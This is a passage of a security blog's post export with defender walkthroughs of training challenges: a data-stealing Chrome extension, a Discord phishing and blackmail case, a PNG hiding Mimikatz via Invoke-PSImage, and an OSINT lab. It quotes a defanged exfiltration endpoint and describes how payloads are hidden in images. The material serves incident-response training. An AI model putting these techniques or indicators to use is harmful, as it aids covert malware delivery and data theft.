page as bg.html. This HTML file loads b0.js and this is responsible for sending the URL being visited and injecting code into the eCommerce sites.\nB0.js\nThe b0.js script contains many functions. This blog will focus on the functions which are responsible for sending the visited URLs to the server and processing the response.\nLet\u0026rsquo;s turn our attention to b0.js and look more closely for ourselves.\n/root/Desktop/ChallengeFile/Extension/Users/Administrator/AppData/Local/Google/Chrome/User Data/Default/Extensions/mmnbenehknklpbendgmgngeaignppnbe/3.0.0_0/b0.js\nSince we are looking for a domain name, we\u0026rsquo;ll try something simple and just use the find function to search for https:// to see if we can find it that way\u0026hellip;\nOkay, we\u0026rsquo;ve found something — a variable, e, defined as: hxxps://a1l4m[.]000webhostapp[.]com (defanged for safety, of course!)\nThis variable is consistent with the details in the McAfee article. While our victim\u0026rsquo;s version of the extension has a different URL than the McAfee sample, it is located in the same function within the extension. Good find!\nQuestion 5: What is the full URL the attacker uses to exfiltrate the data? Now that we found the e variable with the domain name value, let\u0026rsquo;s see if we can find the full URL. The McAfee blog mentions that a victim\u0026rsquo;s data is exfiltrated with an HTTP POST method to the domain so let\u0026rsquo;s search b0.js for POST this time:\nRight above the POST value, we can see that the URL that data is sent to is the e variable we found in Question 4 _+ \u0026quot; # \u0026ldquo;_/chrome/TrackingData\u0026quot;Putting this all together, we get:\nhxxps://a1l4m[.]000webhostapp[.]com/chrome/TrackingData\nQuestion 6: What is the function name responsible for getting the victim\u0026rsquo;s location? To locate the location function, we\u0026rsquo;ll take the path of least resistance and search for \u0026ldquo;location\u0026quot;within the code. The first thing we\u0026rsquo;ll find is the get_location function which can be used to access Geolocation data.\nQuestion 7: What is the variable name that is responsible for storing the zip code of the victim? Okay we made it to the last question! Just as we did in the previous question, let\u0026rsquo;s do a simple search within the code; this time we will look for \u0026quot; # \u0026ldquo;zip.\u0026rdquo;\nWe found some evidence of the variable in the code — that\u0026rsquo;s a great start but let\u0026rsquo;s refer to the McAfee write-up one more time:\nThe country, city, and zip are gathered using ip-api.com.\nNow that we have validated the JavaScript code on our victim\u0026rsquo;s machine and confirmed it with the McAfee research, let\u0026rsquo;s submit the answer and wrap up this investigation!\nConclusion: Nice job! We successfully navigated the Malicious Chrome Extension by analyzing the victim\u0026rsquo;s Chrome cache.\nWe learned through our research that this malicious extension sends the victim\u0026rsquo;s browsing data to an external, attacker controlled domain — this creates a huge privacy risk! Having identified the source of the attack, it\u0026rsquo;s time to bring this investigation to a close.\nThank you to LetsDefend for the opportunity to practice our Chrome cache analysis skills! This challenge was a fantastic opportunity to see a practical example of how a malicious extension can compromise a user\u0026rsquo;s data and privacy. We also got valuable exposure to some tools like DB Browser to strengthen our knowledge of the Google Chrome local cache!\nThank you so much for reading along and working through this investigation with me. I hope that you had as much fun as I did and learned something new, too!\nUntil next week — stay curious!\nTools \u0026amp; References: SQLite Browser: https://sqlitebrowser.org/\nFoxtron Forensics Google Chrome History Location: https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location\nPopular Science — These 5 popular Chrome extensions are compromising your computer: https://www.popsci.com/technology/chrome-extension-installation-malware-netflix-party/\nMcAfee — Malicious Cookie Stuffing Chrome Extensions with 1.4 Million Users: https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malicious-cookie-stuffing-chrome-extensions-with-1-4-million-users/\nChrome Developers Manifest File Format: https://developer.chrome.com/docs/extensions/reference/manifest\nChrome Developers Messages.Json: https://developer.chrome.com/docs/extensions/how-to/ui/localization-message-formats\n","date":"2024-06-02T00:00:00Z","image":"/posts/letsdefend-chrome-extension-challenge-walkthrough/540e14e61bf92ee08d3cc4492939e945_MD5.png","permalink":"/posts/letsdefend-chrome-extension-challenge-walkthrough/","title":"LetsDefend — Chrome Extension Challenge Walkthrough"},{"content":"LetsDefend — Discord Forensics Challenge Walkthrough Endpoint DFIR Investigation using ChromeCacheView Image Credit: https://app.letsdefend.io/challenge/discord-forensics\nIntroduction: Welcome to my weekly walkthrough! Have you ever wondered how an adversary could use social engineering to lure a victim to Discord and then compromise them with malware?\nWe\u0026rsquo;re about to investigate how this can happen by working through the Discord Forensics Challenge over on LetsDefend! This is an incident response challenge that has us defenders investigating an infected Windows endpoint. To understand how the attack unfolded, we\u0026rsquo;ll need to review artifacts on the system like the Discord cache and determine how the malware was delivered.\nSo, whether you\u0026rsquo;re here to learn more about Discord cache analysis, check out some new tools, or are just looking for a reference walkthrough for the LetsDefend Discord Forensics Challenge, you\u0026rsquo;ve stumbled on the right blog.\nNow, let\u0026rsquo;s put on our detective hats and have some fun with forensics! Thanks for reading along!\nChallenge Link: https://app.letsdefend.io/challenge/discord-forensics\nChallenge Scenario: Our SIEM alerted that AV blocked malware from running on an employee\u0026rsquo;s machine. For further investigation, the incident response team quickly acquired an image of that machine. To find out how this malware got on the machine, their task is to find the entry point of the attack and trace the attacker.\nQuestions 1, 2, \u0026amp; 3: 1. What is the name of the attacker? 2. What application is used for messaging? 3. What is the attacker\u0026rsquo;s username on the application? Let\u0026rsquo;s get comfortable with our virtual analysis environment and extract the challenge file from the Challenge folder.\nWhile the archive is extracting, let\u0026rsquo;s also check out our Tools folder which will help us get an idea of what utilities we have at our disposal to solve this challenge.\nBehold — our toolkit!\nWe\u0026rsquo;ve got a couple of interesting utilities but the two mail clients seem out of place. Maybe Email is a good place to start the investigation? We will see if we can discover any email files that we can check through to understand if there was any phishing involved for initial access.\nLet\u0026rsquo;s check the standard Outlook and Thunderbird data file locations to see if any locally saved items are available:\nOutlook: C:\\Users\\LetsDefend\\Desktop\\ChallengeFile\\Discord\\Administrator\\AppData\\Local\\Microsoft\\Outlook\nThunderbird: C:\\Users\\LetsDefend\\Desktop\\ChallengeFile\\Discord\\Administrator\\AppData\\Roaming\\Thunderbird\\Profiles\nUnfortunately, there is nothing in either directory. But hope is not lost — what about the built-in Windows Mail client? Maybe the victim was using that application? Let\u0026rsquo;s check!\nC:\\Users\\LetsDefend\\Desktop\\ChallengeFile\\Discord\\Administrator\\AppData\\Local\\Microsoft\\Windows Live Mail\nThe Victim\u0026rsquo;s Windows Live Mail AppData Folder\nThere we go! We have several emails to read through. Let\u0026rsquo;s launch Thunderbird and open the 3 \u0026quot; # \u0026quot;\nJob Offer\u0026quot; messages.\nThe sender\u0026rsquo;s FROM field name is abdlhameed. We\u0026rsquo;ll use this information to answer Question 1.\nOnce we get to the last email in the thread, Job Offer3.eml, we\u0026rsquo;ll find a couple of new pieces of information in the body of the email that we can use to answer Questions 2 \u0026amp; 3.\nFrom the thread, we can see that the attacker is attempting to move the conversation from email to Discord. If you aren\u0026rsquo;t familiar, Discord is:\nAn instant messaging and VoIP social platform which allows communication through voice calls, video calls, text messaging, and media and files.\nPivoting to a legitimate web service is a common defense evasion technique (MITRE ATT\u0026amp;CK T1102). Moving a victim to a service which is outside of the purview of the security team/tools and into attacker-controlled infrastructure can allow for unimpeded next steps in the attack.\nQuestion 4: When did an attacker send the first message to the victim on this application? Now let\u0026rsquo;s really dig deep. Since we know that the victim was lured to contact the attacker on Discord to discuss the \u0026quot; # \u0026quot;\njob offer,\u0026quot; there must be some artifacts in the image that we can analyze.\nWe\u0026rsquo;ll start by doing some research on Google to see if we can gather any intelligence about what data Discord stores on a local system. Fortunately, we stumble across a fantastic write up about artifacts stored within the Discord cache folder!\nFinding Discord app chats in Windows. _Discord on the desktop In previous posts I discussed some ways of recovering and presenting Discord app chats from\u0026hellip;_abrignoni.blogspot.com\nAccording to this researcher, Discord data is structured very similarly to the Google Chrome cache — this means that we can probably leverage ChromeCacheView from our Tools folder to perform further analysis.\nLet\u0026rsquo;s load up ChromeCacheView, press File, then Select Cache Folder. We\u0026rsquo;ll browse for the folder manually and point to the Discord cache folder within the victim image:\nC:\\Users\\LetsDefend\\Desktop\\ChallengeFile\\Administrator\\AppData\\Roaming\\discord\\Cache\nThe is a lot of data here but we can narrow our search scope a bit. Press View \u0026gt; Use Quick Filter.\nNow we will search for \u0026quot; # \u0026quot;\nmessage\u0026quot; and see if we get any results\u0026hellip;\nOkay, now we\u0026rsquo;re getting somewhere! We can actually review the content of these JSON files by right clicking the entry, selecting \u0026quot; # \u0026ldquo;Open selected cache file with\u0026hellip;,\u0026ldquo;and selecting a plain text editor like Notepad.\nWe\u0026rsquo;re interested in the contents of the private chat between the attacker and the victim. After reviewing the data within the JSON files, let\u0026rsquo;s focus first on the one with the file size of 767.\nWhile the data is initially difficult to comprehend, I have highlighted the snippet above with the general format of each message — they seem to start with \u0026quot; # \u0026ldquo;id\u0026quot;and end with \u0026quot; # \u0026ldquo;components.\u0026ldquo;In the excerpt above we can see the initial message on Discord from the attacker to the victim including the timestamp!\nQuestion 5: The attacker has sent a server invitation URL to the victim, what is the full URL? Let\u0026rsquo;s continue to analyze the JSON file we retrieved from ChromeCacheView.\nIn the same private chat that we analyzed in Question 4, the attacker states that they are going to create and invite the victim to a \u0026quot; # \u0026ldquo;server\u0026rdquo;— this is Discord shorthand for group chat/community on the platform. Then, the attacker provides a Discord URL where the victim can join the server.\nQuestion 6: How many people were on the Discord server? Along with the server URL from the previous question, the attacker also states that the server has a \u0026quot; # \u0026quot;\ntwo other employee\u0026rdquo; in addition to the attacker and victim.\njust me and you and two other employee\nMy math might be terrible otherwise, but I know that 2+2=4.\nQuestion 6: What is the MD5 hash of the attachment file that the victim sent to the attacker? Let\u0026rsquo;s go back into ChromeCacheView. This time, we are going to view the JSON file for the server channel instead of the private chat. Let\u0026rsquo;s open the cache file with the size of 1,392.\nAfter browsing the contents of the chat, we can see the attackers are coercing the victim to prove that he is the right candidate for the \u0026quot; # \u0026quot;\njob\u0026rdquo; by asking for the details of some (presumably) confidential research.\nA short time later, we can see that the victim uploads the requested private data to the Discord server in an archive file called Private.7z\nIt\u0026rsquo;s pretty likely that the victim uploaded the data from his own device, so why don\u0026rsquo;t we check the image and simply search for the file name?\nThere we go, we found it in the user\u0026rsquo;s Documents folder!\nLet\u0026rsquo;s grab the file hash of the archive. We can utilize the HashCalc utility from the Tools folder or leverage the PowerShell Get-FileHash command_._\nFor this walkthrough, I used the PowerShell option_._ Since the Get-FileHash command defaults to using SHA256, we\u0026rsquo;ll need to specify that we want the MD5 hash instead.\nGet-FileHash -Algorithm MD5 Okay, now that we have the MD5 hash of the exfiltrated archive, let\u0026rsquo;s submit the answer and continue our analysis!\nQuestion 7: What is the victim\u0026rsquo;s country? Okay this one is a bit tricky to find. None of the Discord chat data that we have discovered appears to have any details regarding geolocation for the victim.\nTo save you some time, I tried extracting the attachment file in the 7z archive, analyzing the email headers for the communication between the attacker and victim, and going through the Microsoft Edge cache for URLs related to a specific country. All of these came up without any evidence.\nThen, I remembered this is a Discord challenge and went back to ChromeCacheView and searched the cache for \u0026quot; # \u0026ldquo;location\u0026rdquo; instead of \u0026quot; # \u0026ldquo;message\u0026quot;like we did for Questions 4,5, \u0026amp; 6\nNow, this gives us a misleading result in the metadata. Let\u0026rsquo;s lean on the question hint to tell us where we went wrong:\nWhoops! So, let\u0026rsquo;s pivot and try to search for \u0026quot; # \u0026ldquo;country\u0026quot;in our quick filter instead of \u0026quot; # \u0026ldquo;location\u0026rdquo;— This will give us more results with a second country code (Not Egypt) in the URLs.\nWe might have stumbled there, but we figured it out. Great job!\nQuestion 8: What is the URL of the attachment that the attacker sent to the victim? After the victim ran the malicious file, there seems to be some follow-up chat in Discord where the victim is reaching out to the attacker to no avail.\nLet\u0026rsquo;s go back to his email where we can find another thread with the Subject field \u0026quot; # \u0026quot;\nidk\u0026rdquo; — where the attackers are blackmailing the victim. The attacker is threatening to tell the victim\u0026rsquo;s employer about the data leak unless they download and execute a file from a link in the email\u0026hellip;\nDespite the victim initially protesting, it appears that they were afraid of losing their job\u0026hellip;\nWhile out of scope for this challenge, we can check the victim\u0026rsquo;s browser history to see if we have any URL history.\nUnfortunately, the evidence suggests that the victim did access the payload sent by the attacker. After that, the SIEM alerted us to the malware being blocked by the victim\u0026rsquo;s endpoint antivirus software. Whew!\nConclusion: Great work! We successfully completed the Discord Forensics Challenge.\nOur investigation led us to the discovery that the victim was lured to Discord through a phishing email with the promise of a job offer. The victim was then convinced to exfiltrate sensitive research data to the attackers on the Discord server. This was followed by a blackmail attempt, coercing the victim to download and execute a malware payload in exchange for not disclosing the victim\u0026rsquo;s mistake to their employer. Having identified how the attack unfolded, we can now conclude our investigation.\nI appreciate you joining me in this investigation and reading along. I hope that you had as much fun as I did and learned something useful too!\nA big thank you to LetsDefend for providing us with the opportunity to sharpen our skills in Discord cache analysis! It was cool to see how we could utilize ChromeCacheView beyond its typical applications and deepen our understanding of the artifacts left behind by Discord that can be analyzed during incident response.\nUntil next week — stay curious! Thanks!\nTools \u0026amp; References: NirSoft ChromeCacheView: https://www.nirsoft.net/utils/chrome_cache_view.html\nMITRE ATT\u0026amp;CK (Phishing): Phishing, Technique T1566 — Enterprise | MITRE ATT\u0026amp;CK®\nMicrosoft OST File Location: Introduction to Outlook Data Files (.pst and .ost) — Microsoft Support\nFinding Discord app chats in Windows: https://abrignoni.blogspot.com/2018/03/finding-discord-app-chats-in-windows.html\nMicrosoft Learn Get-FileHash: https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/get-filehash?view=powershell-7.4\n","date":"2024-05-30T00:00:00Z","image":"/posts/letsdefend-discord-forensics-challenge-walkthrough/6f3ce73a7d46cd58af97283fb889ce2d_MD5.png","permalink":"/posts/letsdefend-discord-forensics-challenge-walkthrough/","title":"LetsDefend — Discord Forensics Challenge Walkthrough"},{"content":"LetsDefend — ImageStegano Challenge Walkthrough Investigating steganography using ExifTool and psimage_decoder.py Image Credit: https://app.letsdefend.io/challenge/imagestegano\nIntroduction: Welcome to my weekly walkthrough! Have you ever wondered about how malware can be hidden in an image? Well we\u0026rsquo;re about to explore the world of steganography by tackling the ImageStegano challenge on LetsDefend!\nThis is a challenge requiring us defenders to investigate an image file and determine if it contains malicious code hidden by using steganography.\nNow what is steganography anyway? According to the _SANS In_ternet Storm Center\u0026rsquo;s Infosec Glossary, steganography is the:\nMethods of hiding the existence of a message or other data. This is different than cryptography, which hides the meaning of a message but does not hide the message itself. An example of a steganographic method is \u0026quot; # \u0026quot;\ninvisible\u0026quot; ink.\nSo, whether you\u0026rsquo;re here to learn more about steganography, explore some new tools, or are just looking for a reference walkthrough for the LetsDefend ImageStegano Challenge, you\u0026rsquo;ve stumbled on the right spot. I encourage you to follow along during your own investigation and use this post as a reference if you get stuck.\nThanks for reading along, let\u0026rsquo;s have some fun!\nChallenge Link: https://app.letsdefend.io/challenge/imagestegano\nChallenge Scenario: We are certain that there is something malicious in this image, but we do not know what it is. So we need you to investigate it and see if you can find any evidence.\nQuestions 1 \u0026amp; 2: Who is the \u0026quot; # \u0026quot; Device Manufacturer\u0026quot; according to the metadata?\nWhat is the CMM Type? Let\u0026rsquo;s start off the investigation by connecting to the virtual machine environment hosted on LetsDefend, navigate to the ChallengeFile folder on the Desktop, and extracting the challenge file from the archive.\nInside, we find a seemingly innocuous .png file, but do you notice something strange? The file size is nearly 65MB in size! This is definitely suspicious and requires some further investigation.\nQuestion 1 and 2 are asking about the image metadata, which is data about the image, and not the image itself like color profiles and the capturing device details. To analyze this file\u0026rsquo;s metadata, we will want to utilize something like ExifTool.\n_A_ccording to the project\u0026rsquo;s website, ExifTool is a:\nplatform-independent Perl library plus a command-line application for reading, writing and editing meta information in a wide variety of files. ExifTool supports many different metadata formats including EXIF, GPS, IPTC, XMP, JFIF, GeoTIFF, ICC Profile, Photoshop IRB, FlashPix, AFCP and ID3, Lyrics3, as well as the maker notes of many digital cameras by Canon, Casio, DJI, FLIR, FujiFilm, GE, GoPro, HP, JVC/Victor, Kodak, Leaf, Minolta/Konica-Minolta, Motorola, Nikon, Nintendo, Olympus/Epson, Panasonic/Leica, Pentax/Asahi, Phase One, Reconyx, Ricoh, Samsung, Sanyo, Sigma/Foveon and Sony.\nIn other words, this tool is used to extract metadata from an image file for us to analyze!\nLet\u0026rsquo;s take a closer look at our analysis environment. Unfortunately, our Windows environment does not have this tool installed for us to use. ExifTool is typically installed within Linux distros, however.\nMaybe you noticed the orange Ubuntu Linux icon on the taskbar? This means that the analysis VM has Ubuntu installed for use with the _Windows Subsystem for Linux (_WSL) which allows us to use Linux tools in Windows — very cool!\nSo, we have a couple of options to access E_xifTool_ to analyze the image\u0026rsquo;s metadata:\n) Load into Ubuntu and operate the CLI directly: Ubuntu Manpage: exiftool — Read and write meta information in files _A command-line interface to Image::ExifTool, used for reading and writing meta information in a variety of file types\u0026hellip;_manpages.ubuntu.com\n2.) Or we can simply use the wsl command in PowerShell to access the Ubuntu tool within the PowerShell console directly! This will be the option we\u0026rsquo;ll use for this walkthrough.\nWe\u0026rsquo;ll navigate to the directory containing the suspicious .png file, and use the basic syntax to get an overview of the metadata contained within the image:\nwsl exiftool Sd6wF1A1v.png\nNow that we have used ExifTool to view the metadata we can find the information needed to answer Questions 1 \u0026amp; 2.\nQuestion 3: What is the tool that created the payload inside the image? This question will require some research since we don\u0026rsquo;t have any specific way of determining what application created this image from the metadata.\nWhy don\u0026rsquo;t we look at the question hint as a jumping-off point:\nQuestion 3 Hint\nOkay, let\u0026rsquo;s do some research and head over to _Google. W_e\u0026rsquo;ll search something basic like \u0026quot; # \u0026ldquo;image steganography powershell.\u0026ldquo;The first result seems very promising. If we click the link we are taken to the GitHub project page for Invoke-PSImage.\nAccording to the project\u0026rsquo;s README, this tool is used for the following purpose:\nInvoke-PSImage takes a PowerShell script and encodes the bytes of the script into the pixels of a PNG image. It generates a oneliner for executing either from a file of from the web.\nBased on the number of stars, this project seems well-known, and it creates a payload within a .png image. Let\u0026rsquo;s submit the answer and see if our research is correct:\nQuestion 4: After decoding the payload, can you find out the function\u0026rsquo;s name? Now that we know what tool created the suspicious image, we\u0026rsquo;ll now need to locate a method to analyze the actual payload hidden within the image.\nSince we know the tool which created the malicious image, let\u0026rsquo;s do some more Google searching to see if there is a tool available to reveal the code.\nWe\u0026rsquo;ll stumble across the article below by Mert Sarica at Hack 4 Career.\nMalicious Image | Hack 4 Career _When we look at the campaigns carried out by APT groups such as Muddy Water, which also targets institutions in Turkey\u0026hellip;_www.mertsarica.com\nAfter reading the article, we discover that this researcher has created a tool, psimage_decoder.py, which:\nReveals Powershell code hidden in image files using Invoke-PSImage\nThis sounds promising and is exactly what we\u0026rsquo;re trying to accomplish! Why don\u0026rsquo;t we test out this tool and see how it works? We\u0026rsquo;ll follow the link in the article and check out the Python code over on GitHub.\nWithout internet connectivity, we have limited options to download the tool into the virtual analysis environment so we\u0026rsquo;ll just copy the raw file contents into the copy/paste box of the virtual machine\u0026rsquo;s remote options.\nThen, we\u0026rsquo;ll paste the code into the installed Notepad ++ and save it as a Python file called psimage_decoder.py (or whatever name you\u0026rsquo;d like).\nFinally, let\u0026rsquo;s run the Python script using the provided syntax to point to the malicious .png file\u0026hellip;\nYikes! That was a lot of output to the console, let\u0026rsquo;s redirect this to a txt file instead so that we can more easily analyze the results.\npython .\\psimage_decoder.py \u0026gt; .txt\nOnce we open the results file, we will see a function at the very top — Invoke-Mimikatz. If you aren\u0026rsquo;t familiar with Mimikatz, here is a summary of this software from MITRE ATT\u0026amp;CK:\nMimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks.\nYikes! That wouldn\u0026rsquo;t be a good thing for the victim to launch. Now that we\u0026rsquo;ve discovered evidence of Mimikatz embedded in the .png file using psimage_decoder.py, I think we can confidently call this file malicious. Let\u0026rsquo;s continue with the investigation.\nQuestion 5: There are two hidden executables in the decoded payload. What is the sha256 hash of the 32-bit version of the executable? To answer the last question, let\u0026rsquo;s continue scrolling through the output of the decoded payload. Toward the bottom of the output, we\u0026rsquo;ll stumble upon this line with a block of code:\nWe\u0026rsquo;ve found of the two hidden executables! This is the 64-bit version, let\u0026rsquo;s keep scrolling until we find the Win32 version:\nLocating the Win32 Executable in the psimage_decoder.py output\nThere we go! Now that we have located the second executable, notice the SHA256 hash and the convenient link to VirusTotal?\nWhile we already have the file hash we are looking for, let\u0026rsquo;s take a quick look at the VirusTotal report. If we needed to do some additional research on this binary, this would be a solid method to pivot and gather some additional intelligence and confirm our findings — in this case, we can confirm that the file is indeed malicious.\nVirusTotal VirusTotalwww.virustotal.com\nLet\u0026rsquo;s submit the answer and wrap up this investigation!\nConclusion: Whew! Excellent job with the investigation! We made it through the ImageStegano Challenge and successfully revealed Mimikatz hiding within the .png image file! Now that we know what the malicious file is, let\u0026rsquo;s wrap this up.\nThank you to LetsDefend for providing another fun challenge and the opportunity to learn about steganography. This challenge was really interesting to me, and the lab was valuable to better understand how threat actors are always evolving their tactics and techniques. It was cool to see a practical example of malware embedded in an otherwise innocuous looking file. Having the hands-on practice with these concepts and some of the tools we used like psimage_decoder.py will be excellent additions to the toolkit!\nThank you so much for reading along, too! I hope that you had as much fun as I did and learned something new, too. Until next week — stay curious!\nTools \u0026amp; References: InfoSec Glossary — SANS Internet Storm Center: https://isc.sans.edu/tools/glossary/\nExiftool: https://exiftool.org/\nMicrosoft Docs WSL: https://learn.microsoft.com/en-us/windows/wsl/about\nInvoke-PSImage (GitHub): https://github.com/peewpw/Invoke-PSImage\npsimage_decoder.py (GitHub): https://github.com/mertsarica/hack4career/blob/master/codes/psimage_decoder.py\nMalicious Image Research: https://www.mertsarica.com/malicious-image/\nMITRE ATT\u0026amp;CK Mimikatz: https://attack.mitre.org/software/S0002/\nVirusTotal: https://www.virustotal.com/en/file/be3414602121b6d23fc06edb6bd01ad60b584485266120c242877bbd4f7c8059/analysis/1478821027/\n","date":"2024-05-12T00:00:00Z","image":"/posts/letsdefend-imagestegano-challenge-walkthrough/237ae93ae605dbac7193c3336d934293_MD5.png","permalink":"/posts/letsdefend-imagestegano-challenge-walkthrough/","title":"LetsDefend — ImageStegano Challenge Walkthrough"},{"content":"CyberDefenders — Intel101 Blue Team Lab Walkthrough OSINT investigation with WHOIS, Google, The Wayback Machine, \u0026amp; Wikipedia. Image Credit: https://cyberdefenders.org/blueteam-ctf-challenges/intel101/\nIntroduction: Welcome to my weekly walkthrough! Have you ever wondered about using passive Open-Source Intelligence (OSINT) to search the public internet for information? Well we\u0026rsquo;re about to do just that by tackling the Intel101 Blue Team Lab on CyberDefenders.\nThis is a threat intelligence challenge requiring us defenders to investigate a series of questions and collect information using passive open-source intelligence (OSINT) to find the answers — it\u0026rsquo;s like a digital scavenger hunt! We\u0026rsquo;ll accomplish this task using web-based tools like Google, The Wayback Machine, WhoIS, Wikipedia, and some visual image searching_._\nNow what is OSINT anyway? According to the SANS Institute:\nOpen-Source Intelligence (OSINT) is defined as intelligence produced by collecting, evaluating and analyzing publicly available information with the purpose of answering a specific intelligence question.\nSo, whether you\u0026rsquo;re here to learn more about OSINT, a new tool, or are just looking for a reference walkthrough for the CyberDefenders Intel101 Blue Team Lab, you\u0026rsquo;ve stumbled on the right spot. In the spirit of learning, I will not be revealing any answers in this post, but I encourage you to follow along during your own investigation and use this post as a reference if you get stuck. This challenge is a bit tricky since it was created three years ago from the time of this writing and the data was more challenging to find.\nThanks for reading along, let\u0026rsquo;s have some fun!\nChallenge Link: https://cyberdefenders.org/blueteam-ctf-challenges/intel101/\nChallenge Scenario: Open-source intelligence (OSINT) exercise to practice mining and analyzing public data to produce meaningful intel when investigating external threats as a security blue team analyst.\nTools\nGoogle Lens\narchive.org\nWhoIS\nQuestion 1: Who is the Registrar for jameskainth.com? For the first question, we have a variety of tools that we can use to perform a domain lookup but to keep it simple, let\u0026rsquo;s just use the DomainTools Whois website to perform a simple lookup of the domain:\nWhois Record Output\nFrom the results, we\u0026rsquo;ll find the domain registrar clearly at the top of the profile!\nQuestion 2: You get a phone call from this number: 855€“707€“7328, they were previously known by another name? (No spaces between words) Now, let\u0026rsquo;s pivot and use a search engine to perform a cursory scan for this phone number. For this example, we\u0026rsquo;ll use Google. Let\u0026rsquo;s input the phone number and look at the results:\nOne of the search results is a familiar website, the Better Business Bureau. This is a consumer trust organization that is used to review the rating of businesses in North America.\nThis website\u0026rsquo;s reputation gives us a high degree of confidence that the listed business is indeed tied to this phone number. Now that we have the first part, we need to do some further digging into the history of this company. For this task, we\u0026rsquo;ll use Wikipedia.\nThe information about the previous name for this company is conveniently listed inthe right-hand column for us!\nQuestion 3: What is the Zoom meeting id of the British Prime Ministers Cabinet Meeting? Let\u0026rsquo;s do a quick Google search again. We\u0026rsquo;ll find several COVID-era articles about this event. Let\u0026rsquo;s click on the link for the article from the well-known security reporter, Graham Cluley. Cluley\u0026rsquo;s article contains the story and a screenshot of the accidental information disclosure very clearly for us!\nThe UK Cabinet is meeting on Zoom\u0026hellip; here\u0026rsquo;s the meeting ID _In case you\u0026rsquo;ve lost the Zoom meeting ID for today\u0026rsquo;s UK Cabinet meeting, here it is._grahamcluley.com\nQuestion 4: What Percentage of full-time degree-seeking freshmen from the fall of 2018 re-enrolled to Champlain in the fall of 2019? Okay, now it\u0026rsquo;s time to do some deeper investigation!\nWe are looking for the student retention rate from Fall 2018 to Fall 2019 at this University. We\u0026rsquo;ll start out by performing some Google searches to see if we can discover this information.\nGoogle search\nWe find that Champlain College presents this information as published through the National Center for Educational Statistics:\nChamplain College — Student Outcomes\nOnce we navigate to the page though, we find only the most current data. We\u0026rsquo;ll need to figure out a way to view the historical data for previous years, right?\nSince the data is showing two years behind (this blog was written in 2024). Maybe we can utilize the Internet Archive\u0026rsquo;s Wayback Machine and see if we can view this same page as it existed in 2020?\nLet\u0026rsquo;s go ahead and select the only 2020 snapshot and see what we can find:\nThis data gets us close to the answer, but for the challenge, we need a more precise percentage. So, let\u0026rsquo;s rewind and go back to Champlain\u0026rsquo;s Consumer Information and Disclosures page. What if we try that URL in the Wayback Machine instead?\nConsumer Information and Disclosures _Links to institutional information about Champlain College_www.champlain.edu\nLet\u0026rsquo;s try that URL and pick a date in 2020. Now, notice that the data was also published by a second website that is no longer present on the current page:\nIf we try this link and scroll down to Freshmen Returning for Sophomore Year, we get an exact percentage!\nhttps://web.archive.org/web/20200919015651/http://members.ucan-network.org/champlain\nQuestion 5: In 1998 specifically on February 12th, Champlain was planning on adding an exciting new building to its campus. Back then, it was called \u0026quot; # \u0026quot; The Information Commons\u0026quot; . Can you find a picture of what the inside would look like? Upload the sha256 hash here.\nLet\u0026rsquo;s continue using the Wayback Machine. We\u0026rsquo;ll search the website domain for Champlain College, champlain.edu, and select the snapshot from February 12th, 1998.\nNotice the links at the bottom of the page? There\u0026rsquo;s one to the Information Commons Project mentioned in the question.\nOnce we click that, we are taken to a page that showcases a rendering of the inside and outside of the building:\nLet\u0026rsquo;s download the inside view image. We can simply generate a SHA256 file hash to get the answer. I\u0026rsquo;m using a Linux environment for my analysis but you can do the same process in Powershell if are you in a Windows environment by using the Get-FileHash cmdlet.\nQuestion 6: One of Champlain College\u0026rsquo;s Cyber Security Faculty got a bachelor\u0026rsquo;s degree in arts from this Ohioan university. Who was the other faculty member who studied there? (FirstName LastName — two words) Let\u0026rsquo;s get back to Google searching a bit for this information. If we simply search for the Champlain university faculty, we can find the full faculty directory, but this is too overwhelming for us to click into each person.\nSo, let\u0026rsquo;s refine our search a bit and narrow it down to some specifics:\nWe can simply go down the line and check the Education section for each of the staff within the department.\nEventually, we stumble upon this profile which meets the question criteria — Ohioan University and Bachelor of Arts! Now we have a university name that we can use to further refine our Google search. Maybe we can use the URL of that full faculty site that we found earlier to search the directory?\nIf we click the first link and check the Education section, we can confirm that we have found another faculty member who attended the same University — great find!\nQuestion 7: In 2019 UVM\u0026rsquo;s Ichthyology Class Had to Name their fish for class. Can you find out what the last person on the public roster named their fish? We\u0026rsquo;ll start this challenge the same way we did with the previous one, with Google!\nQuickly we discover that this search is particularly tricky since the challenge was made three years ago from the time of this blog. It doesn\u0026rsquo;t seem like search engines today have indexed anything helpful other than some quick overview information of the Ichthyology class.\nLet\u0026rsquo;s try to narrow the scope a bit by learning a little more about the University and specific school the Ichthyology program is part of:\nWe\u0026rsquo;ve discovered that the program is part of the Rubenstein School of Environmental and Natural Resources. That\u0026rsquo;s a start, now we can check out the University\u0026rsquo;s course catalog and hopefully locate the course number of the Ichthyology class to help refine our search:\nUndergraduate Catalogue _Students at the University of Vermont are responsible for knowing and complying with all requirements for their\u0026hellip;_catalogue.uvm.edu\nWe\u0026rsquo;ll navigate to: The Rubenstein School of Environment and Natural Resources \u0026gt; Wildlife and Fisheries Biology Program and we\u0026rsquo;ll find the course information in the catalog. Of course, the catalog represents the offerings at the time of this writing (2024) and NOT 2019.\nSo, let\u0026rsquo;s try to get to the same information from back in 2019 and check for any differences. If we check the course catalog site using the Wayback Machine, we\u0026rsquo;ll find that the course number was different in 2019:\nWhat does this mean? It means we know that we need to refine our search using the course number, WFB 232, to get closer to the information. Let\u0026rsquo;s check out the home page for the Rubenstein School of Environment and Natural Resources in the Wayback Machine.\nThis time, however, instead of viewing a site snapshot, let\u0026rsquo;s use the URLs button and see if we can locate further information about the WFB 232 program:\nOkay, now we\u0026rsquo;re getting somewhere. Let\u0026rsquo;s try our luck and see if we can add some additional keywords to the filter and look for \u0026quot; # \u0026quot;\nnames\u0026quot; \u0026hellip;\nBingo! We found the document we are searching for. Since the archive has a snapshot of this file, we can access it and view the information we are looking for!\nQuestion 8: Can You Figure Out Which State This Picture Has Been Taken From? See attached photo Okay, last question! First, we\u0026rsquo;ll open the evidence file and focus on the included image, UNADJUSTEDNONRAW_thumb_4859.jpg.\nLet\u0026rsquo;s try using an image or visual search to see if we can locate a match. Typically, it\u0026rsquo;s a good idea to try your search on several different services like Bing visual search_,_ Google Lens, and Yandex to maximize the chances of locating a hit since each service approaches this process differently.\nUnfortunately for me (and probably for you if you are reading this walkthrough) after trying this process with all three services and scrolling through hundreds upon hundreds of Dragon and Pteranodon images, it 